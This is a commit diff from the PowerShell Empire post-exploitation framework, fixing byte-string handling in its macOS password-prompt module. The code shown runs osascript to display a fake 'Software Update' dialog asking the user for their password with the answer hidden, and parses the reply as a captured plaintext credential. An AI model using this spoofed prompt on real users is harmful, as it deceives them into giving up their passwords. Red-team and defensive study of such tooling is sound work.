Codebase list powershell-empire / 56c476f
fixed osx/prompt byte errors Cx01N 3 years ago
2 changed file(s) with 2 addition(s) and 2 deletion(s). Raw diff Collapse all Expand all
456456
457457 # python/collection/prompt (Mac OS)
458458 elif b"text returned:" in parts[0]:
459 parts2 = parts[0].split("text returned:")
459 parts2 = parts[0].split(b"text returned:")
460460 if len(parts2) >= 2:
461461 password = parts2[-1]
462462 return [("plaintext", "", "", password, "", "")]
108108 # osascript prompt for the current application with System Preferences icon
109109 script = """
110110 import os
111 print(os.popen('osascript -e \\\'display dialog "Software Update requires that you type your password to apply changes." & return & return default answer "" with icon file "Applications:System Preferences.app:Contents:Resources:PrefApp.icns" with hidden answer with title "Software Update"\\\'').read())
111 print(os.popen('osascript -e \\\'display dialog "Software Update requires that you type your password to apply changes." & return & return default answer "" with hidden answer with title "Software Update"\\\'').read())
112112 """
113113
114114 else: